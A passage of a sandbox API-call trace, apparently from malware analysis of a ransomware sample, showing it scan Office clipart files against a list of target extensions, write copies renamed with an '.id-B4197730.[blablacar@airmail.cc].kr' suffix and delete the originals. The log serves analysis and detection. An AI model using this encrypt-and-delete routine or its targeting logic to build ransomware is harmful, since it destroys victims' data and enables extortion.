returned -1 [0108.340] lstrlenW (lpString=".pdf") returned 4 [0108.340] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.340] lstrlenW (lpString=".xls") returned 4 [0108.340] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.340] lstrlenW (lpString=".xlsx") returned 5 [0108.340] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.340] lstrlenW (lpString=".ppt") returned 4 [0108.340] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0108.340] lstrlenW (lpString=".zip") returned 4 [0108.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.340] lstrlenW (lpString=".rar") returned 4 [0108.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.340] lstrlenW (lpString=".bz2") returned 4 [0108.340] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.340] lstrlenW (lpString=".7z") returned 3 [0108.340] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0108.341] lstrlenW (lpString=".dbf") returned 4 [0108.341] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0108.341] lstrlenW (lpString=".1cd") returned 4 [0108.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0108.341] lstrlenW (lpString=".jpg") returned 4 [0108.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.341] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0108.341] lstrlenW (lpString="AN04323_.WMF") returned 12 [0108.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0108.342] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2492) returned 1 [0108.342] CloseHandle (hObject=0x384) returned 1 [0108.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 0x220 [0108.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0108.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0108.342] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0108.342] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0108.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0108.343] GetLastError () returned 0x0 [0108.343] ReadFile (in: hFile=0x384, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x9bc, lpOverlapped=0x0) returned 1 [0108.344] WriteFile (in: hFile=0x36c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x9c0, lpOverlapped=0x0) returned 1 [0108.346] ReadFile (in: hFile=0x384, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0108.346] WriteFile (in: hFile=0x36c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1 [0108.346] SetEndOfFile (hFile=0x36c) returned 1 [0108.346] CloseHandle (hObject=0x36c) returned 1 [0108.347] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0108.347] SetEndOfFile (hFile=0x384) returned 1 [0108.348] CloseHandle (hObject=0x384) returned 1 [0108.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0108.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0108.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0108.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0108.349] lstrlenW (lpString=".doc") returned 4 [0108.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.350] lstrlenW (lpString=".docx") returned 5 [0108.350] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.350] lstrlenW (lpString=".pdf") returned 4 [0108.350] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.350] lstrlenW (lpString=".xls") returned 4 [0108.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.350] lstrlenW (lpString=".xlsx") returned 5 [0108.350] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.350] lstrlenW (lpString=".ppt") returned 4 [0108.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0108.350] lstrlenW (lpString=".zip") returned 4 [0108.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.350] lstrlenW (lpString=".rar") returned 4 [0108.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.350] lstrlenW (lpString=".bz2") returned 4 [0108.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.350] lstrlenW (lpString=".7z") returned 3 [0108.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0108.350] lstrlenW (lpString=".dbf") returned 4 [0108.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0108.350] lstrlenW (lpString=".1cd") returned 4 [0108.350] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0108.351] lstrlenW (lpString=".jpg") returned 4 [0108.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0108.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0108.351] lstrlenW (lpString=".doc") returned 4 [0108.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.351] lstrlenW (lpString=".docx") returned 5 [0108.351] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.351] lstrlenW (lpString=".pdf") returned 4 [0108.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.351] lstrlenW (lpString=".xls") returned 4 [0108.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.351] lstrlenW (lpString=".xlsx") returned 5 [0108.351] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.351] lstrlenW (lpString=".ppt") returned 4 [0108.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0108.351] lstrlenW (lpString=".zip") returned 4 [0108.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.351] lstrlenW (lpString=".rar") returned 4 [0108.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.351] lstrlenW (lpString=".bz2") returned 4 [0108.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.352] lstrlenW (lpString=".7z") returned 3 [0108.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0108.352] lstrlenW (lpString=".dbf") returned 4 [0108.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0108.352] lstrlenW (lpString=".1cd") returned 4 [0108.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0108.352] lstrlenW (lpString=".jpg") returned 4 [0108.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.352] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0108.352] lstrlenW (lpString="AN04326_.WMF") returned 12 [0108.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0108.353] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=3348) returned 1 [0108.353] CloseHandle (hObject=0x384) returned 1 [0108.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 0x220 [0108.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0108.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0108.353] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0108.353] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0108.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0108.354] GetLastError () returned 0x0 [0108.354] ReadFile (in: hFile=0x384, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0xd14, lpOverlapped=0x0) returned 1 [0108.585] WriteFile (in: hFile=0x36c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xd20, lpOverlapped=0x0) returned 1 [0108.587] ReadFile (in: hFile=0x384, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0108.587] WriteFile (in: hFile=0x36c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1 [0108.587] SetEndOfFile (hFile=0x36c) returned 1 [0108.668] CloseHandle (hObject=0x36c) returned 1 [0108.669] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0108.670] SetEndOfFile (hFile=0x384) returned 1 [0108.671] CloseHandle (hObject=0x384) returned 1 [0108.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0108.671] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0108.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0108.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0108.672] lstrlenW (lpString=".doc") returned 4 [0108.672] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.672] lstrlenW (lpString=".docx") returned 5 [0108.672] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.672] lstrlenW (lpString=".pdf") returned 4 [0108.672] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.672] lstrlenW (lpString=".xls") returned 4 [0108.672] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.672] lstrlenW (lpString=".xlsx") returned 5 [0108.672] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.672] lstrlenW (lpString=".ppt") returned 4 [0108.672] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0108.672] lstrlenW (lpString=".zip") returned 4 [0108.672] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.672] lstrlenW (lpString=".rar") returned 4 [0108.672] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.672] lstrlenW (lpString=".bz2") returned 4 [0108.672] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.672] lstrlenW (lpString=".7z") returned 3 [0108.672] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0108.672] lstrlenW (lpString=".dbf") returned 4 [0108.672] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0108.673] lstrlenW (lpString=".1cd") returned 4 [0108.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0108.673] lstrlenW (lpString=".jpg") returned 4 [0108.673] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0108.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0108.673] lstrlenW (lpString=".doc") returned 4 [0108.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.673] lstrlenW (lpString=".docx") returned 5 [0108.673] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.673] lstrlenW (lpString=".pdf") returned 4 [0108.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.673] lstrlenW (lpString=".xls") returned 4 [0108.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.673] lstrlenW (lpString=".xlsx") returned 5 [0108.673] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.673] lstrlenW (lpString=".ppt") returned 4 [0108.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0108.673] lstrlenW (lpString=".zip") returned 4 [0108.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.673] lstrlenW (lpString=".rar") returned 4 [0108.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.674] lstrlenW (lpString=".bz2") returned 4 [0108.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.674] lstrlenW (lpString=".7z") returned 3 [0108.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0108.674] lstrlenW (lpString=".dbf") returned 4 [0108.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0108.674] lstrlenW (lpString=".1cd") returned 4 [0108.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0108.674] lstrlenW (lpString=".jpg") returned 4 [0108.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.674] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0108.674] lstrlenW (lpString="BD00160_.WMF") returned 12 [0108.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0108.675] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=22516) returned 1 [0108.675] CloseHandle (hObject=0x384) returned 1 [0108.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x220 [0108.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0108.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0108.675] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0108.675] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0108.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0108.676] GetLastError () returned 0x0 [0108.676] ReadFile (in: hFile=0x384, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x57f4, lpOverlapped=0x0) returned 1 [0108.678] WriteFile (in: hFile=0x36c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x5800, lpOverlapped=0x0) returned 1 [0108.679] ReadFile (in: hFile=0x384, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0108.679] WriteFile (in: hFile=0x36c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1 [0108.680] SetEndOfFile (hFile=0x36c) returned 1 [0108.680] CloseHandle (hObject=0x36c) returned 1 [0108.681] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0108.681] SetEndOfFile (hFile=0x384) returned 1 [0108.682] CloseHandle (hObject=0x384) returned 1 [0108.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0108.683] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0108.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0108.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0108.683] lstrlenW (lpString=".doc") returned 4 [0108.683] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.683] lstrlenW (lpString=".docx") returned 5 [0108.683] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.683] lstrlenW (lpString=".pdf") returned 4 [0108.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.684] lstrlenW (lpString=".xls") returned 4 [0108.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.684] lstrlenW (lpString=".xlsx") returned 5 [0108.684] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.684] lstrlenW (lpString=".ppt") returned 4 [0108.684] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0108.684] lstrlenW (lpString=".zip") returned 4 [0108.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.684] lstrlenW (lpString=".rar") returned 4 [0108.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.684] lstrlenW (lpString=".bz2") returned 4 [0108.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.684] lstrlenW (lpString=".7z") returned 3 [0108.684] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0108.684] lstrlenW (lpString=".dbf") returned 4 [0108.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0108.684] lstrlenW (lpString=".1cd") returned 4 [0108.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0108.684] lstrlenW (lpString=".jpg") returned 4 [0108.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0108.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0108.685] lstrlenW (lpString=".doc") returned 4 [0108.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.685] lstrlenW (lpString=".docx") returned 5 [0108.685] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.685] lstrlenW (lpString=".pdf") returned 4 [0108.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.685] lstrlenW (lpString=".xls") returned 4 [0108.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.685] lstrlenW (lpString=".xlsx") returned 5 [0108.685] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.685] lstrlenW (lpString=".ppt") returned 4 [0108.685] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.685] lstrlenW 